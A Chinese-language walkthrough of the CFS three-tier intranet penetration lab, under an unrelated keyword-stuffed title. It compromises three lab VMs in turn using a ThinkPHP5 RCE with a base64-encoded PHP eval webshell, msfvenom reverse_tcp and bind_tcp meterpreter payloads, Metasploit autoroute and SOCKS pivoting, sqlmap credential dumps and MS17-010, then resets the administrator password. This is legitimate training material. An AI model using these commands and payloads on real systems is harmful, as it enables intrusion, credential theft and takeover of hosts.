张掖高端网站建设公司,网页制作教程好看视频,营销型网店与品牌型网店的区别,手机视频制作文章目录 [内网渗透]CFS三层靶机渗透网络拓扑图靶机搭建Target10x01.nmap主机探活0x02.端口扫描0x03.ThinkPHP5 RCE漏洞拿shell0x04.上传msf后门(reverse_tcp)反向连接拿主机权限 内网渗透Target2#xff08;1#xff09;路由信息探测#xff08;2#xff09;msf代理配置1路由信息探测2msf代理配置3利用bagecms-sql注入漏洞,admin登录后台拿shell4上传msf后门(bind_tcp)正向连接拿ubuntu主机权限 Target30x01.添加路由0x02.利用ms17-010永恒之蓝漏洞拿shell 参考 [内网渗透]CFS三层靶机渗透
网络拓扑图 三个Target主机的拓扑图如图攻击机的网段在192.168.1.1/24
Target1 Centos7Target2 UbuntuTarget3 Win7
该靶机的渗透流程如下
通过攻击机kaili192.168.1.129攻击target1的192.168.1.132target2、3不能连通外网只能在内网通信。所以需要先渗透target1然后通过它的vmnet2网卡去攻击target2。拿下target2之后通过target2做跳板攻击target3.
靶机搭建
kali192.168.1.129vmnet1Target1192.168.1.132vmnet1、192.168.22.130vmnet2Target2192.168.22.128vmnet2 、192.168.33.128vmnet3Target3192.168.33.33vmnet3
其他不在此赘述参考https://blog.csdn.net/qq_61237064/article/details/125602997
Target1
0x01.nmap主机探活
在kaili中使用nmap查看vmnet1网段有哪些主机
nmap -T4 -sP 192.168.1.1/24查到一台192.168.1.132
0x02.端口扫描
nmap -T4 -A -p 1-65535 192.168.1.13280端口开放
0x03.ThinkPHP5 RCE漏洞拿shell
浏览器访问一下是ThinkPHP5.0版本有漏洞 我们直接拿工具检测一下漏洞 存在漏洞直接命令执行写shell进去(此处$_POST被过滤于是使用base64编码绕过)
echo PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg | base64 -d x.php蚁剑连接 在txt文件发现两个flag
我们执行ifconfig发现了另一个网段22 192.168.22.130 那么肯定存在内网了
0x04.上传msf后门(reverse_tcp)反向连接拿主机权限
存在内网我们就要使用msf工具了
首先使用msfevnom生成一个elf的马这里采取反向连接Target1来连接kali
使用uname -a查看一下Target1的系统:
(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linuxlinux64
然后我们生成一个elf后门马查看自己的IP地址并根据自己的IP地址及目标靶机的系统类型生成对应的后门文件
# 根据target1操作系统类型生成elf后门lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.1.129 LPORT4444 -f elf shell.elf 然后在kali中运行监听模块监听本机4444端口
# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit然后我们将elf马上传到target1设置权限并执行
chmod x shell.elf
./shell.elf这个时候Target1靶机已经上线msf了 下面开始内网渗透
内网渗透
Target2 现在我们不能直接通过nmap去扫描Target2靶机的ip因为我们网段的设置kali与Target1是处在同一个网段的主机我们可以直接扫描到。但是现在扫描的Target2处于内网网段直接扫扫不到。但是我们知道Target1的vmnet2网卡与Target2处于一个网段所以我们可以通过Target1的vmnet2网卡来打Target2因此可以挂上Target1的代理 1路由信息探测
我们可以使用msf自带的模块进行信息探测
探测网络接口的模块get_local_subnets查看路由的模块autoroute -p
# 探测子网信息可以看到存在22网段
meterpreter run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTIONvalue [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0# 查看路由信息发现还没有路由
meterpreter run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTIONvalue [...]
[*] No routes have been added yet**路由**路由是指路由器从一个接口上收到数据包根据数据包的目的地址进行定向并转发到另一个接口的过程就相当于把我们要传输的数据先传输到该路由再发往目标。 我们可以设置一个路由然后把我们的请求通过Target1的vmnet1网段发出然后重定向转发到vmnet2网段这样kali的msf就可以与22网段(Target2)互通了 于是我们可以设置一个路由
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由直接使用 MSF 去访问原本不能直接访问的内网资源只要路由可达我们既可使用 MSF 来进行探测了
# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p2msf代理配置 路由有一个缺陷它只能在msf建立的这个会话上使用如果我们新开一个终端使用nmap扫描还是扫描不到的所以我们需要设置msf的代理 msf有自己的代理模块 auxiliary/server/socks_proxy 假设现在msf的会话是session1是建立在Target1的shell上的建立路由之后可以与22网段通信。那么我们想要通过session1使用工具去攻击22网段这时该怎么办
这种情况就需要设置一个代理了通过这个代理给别人一个端口去连接然后我们可以使用本机去连接kali的端口这样就能访问Target2的22网段了
# 先切换到控制台
background
# 配置socks5代理
msf6 use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) set srvport 1080
msf6 auxiliary(server/socks_proxy) run在kali中通过vim /etc/proxychains.conf修改proxychains配置文件 写入kali的ip和刚刚配置的端口
然后使用nmap探测端口注意使用nmap时前面要加上proxychains这样才能使用msf的代理
proxychains nmap -T4 -p 80 192.168.22.12880端口开放
我们给浏览器设置一个socks5代理 访问一下 是一个bagecms搭建的网站
3利用bagecms-sql注入漏洞,admin登录后台拿shell
这里可以使用一个好用的工具SocksCap这个工具可以给其他工具添加上代理 扫描到robots.txt告诉了我们admin的路径
#
# robots.txt for BageCMS
#
User-agent: *
Disallow: /admini/
Disallow: /index.php?radmini*信息收集源码给了hintSQL注入点/index.php?rvulkeyword1 我们可以直接使用sqlmap跑但是需要挂上代理可以使用参数--proxy或kali中前面加上proxychains。我们可以直接指定注入点-p keyword
# 爆一下数据库名称
proxychains sqlmap -u http://192.168.22.128/index.php?rvulkeyword1 -p keyword --dbs
或
sqlmap -u http://192.168.22.128/index.php?rvulkeyword1 --proxysocks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u http://192.168.22.128/index.php?rvulkeyword1 -p keyword -D bagecms --tables T bage_admin --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u http://192.168.22.128/index.php?rvulkeyword1 -p keyword -D bagecms -T bage_admin --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u http://192.168.22.22/index.php?rvulkeyword1 -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba不是高权限那就不尝试--os-shell了拿到admin的账号和密码 admin:123qwe
登陆后台拿到flag 在tag/index.php写入马 然后我们使用SocksCap工具挂上代理打开蚁剑连接
注意URLhttp://192.168.22.128/?rtag 4上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
我们拿到shell之后和前面一样使用msf生成后门。但是这里有点不同由于Target2不能出网
所以我们这次只能正向连接即通过kali去连接Target2
我们在蚁剑查看一下target2的操作系统
uname -a可以看到是一个64位的操作系统
因此在kaili生成一个elf正向连接的后门
# 生成一个正向连接后门因为内网主机无法直接与本机通信因此无法建立反向连接需要本机通过代理连接到目标机
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT3333 -f elf tgt2.elf上传到target2并修改权限执行
chmod x tgt2.elf
./tgt2.elf在MSF中开启监听与Target2建立连接这里需要注意上一次代理使用的reverse_tcp是MSF作为监听让Target1连到我们而这次代理使用的bind_tcp是Target2作为监听我们需要连到Target2这个逻辑正好是相反的
同样如果我们要用msf 另起一个终端开启监听这里要注意msf新开的终端之前的那个终端的配置都用不了。
如果我们这次代理使用的bind_tcp是Target2作为监听我们要正向连接到内网里的target2
因此我们不能直接使用msfconsole打开而是需要使用proxychains打开msf需要走代理否则msf访问不到Target2然后再去连接bind_tcp
这里有个图 (其实使用之前那个终端就行已经配置了代理我们就可以直接连bind_tcp了)
我们此处演示一下使用proxychains
proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
runtarget2成功上线msf 然后继续进行信息收集我们可以使用:
# 获取网络接口
run get_local_subnets
# 添加路由地址
run autoroute -s 192.168.33.0/24
# 查看路由地址
run autoroute -p此处我们还可以使用一种方法
shell
# 转化为交互式
python -c import pty;pty.spawn(/bin/bash);
# 查看网络信息
ifconfig看到了一个33网段的ip还存在内网
Target3
0x01.添加路由
由于我们在Target2(ubuntu)中探测到ubuntu主机 既处在22网段又处在33网段所以我们可以重复之前的步骤增加一个路由将kali通过代理发往Target2的流量通过路由从22网段重定向到33网段
# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p成功添加了路由
nmap扫描一下target3靶机开放的服务
新开一个终端后我们需要在这个新开的msf终端上配置一个代理然后修改/etc/proxychains.conf rootkali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT扫描TCP数据包已建立的连接connect扫描到开启了445和3389端口 0x02.利用ms17-010永恒之蓝漏洞拿shell
从扫描结果很容易知道这是win7系统开启445和3389端口
445端口存在ms17-010永恒之蓝漏洞
于是我们可以试着使用msf中的ms17-010打一下:
search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run成功利用输出shell进入命令行 我们输出netstat -ant查看一下有哪些端口 看到了3389端口于是可以进行远程桌面连接
我们先使用net user查看一下有哪些用户发现有administrator
我们输入net user administrator 123456修改密码
然后使用SocksCap打开连接远程桌面程序mstsc.exe
(注意要设置代理为新的那个)输入ip:192.168.33.33连接 成功拿下
还有另一种连接方式使用端口转发
portfwd add -l 7777 -p 3389 -r 192.168.33.33将192.168.33.33:3389转发到kali的7777端口上然后直接连接就行 参考
https://www.cnblogs.com/1vxyz/p/17080748.html
https://blog.csdn.net/qq_61237064/article/details/125602997
https://teamssix.com/191021-211425.html#toc-heading-9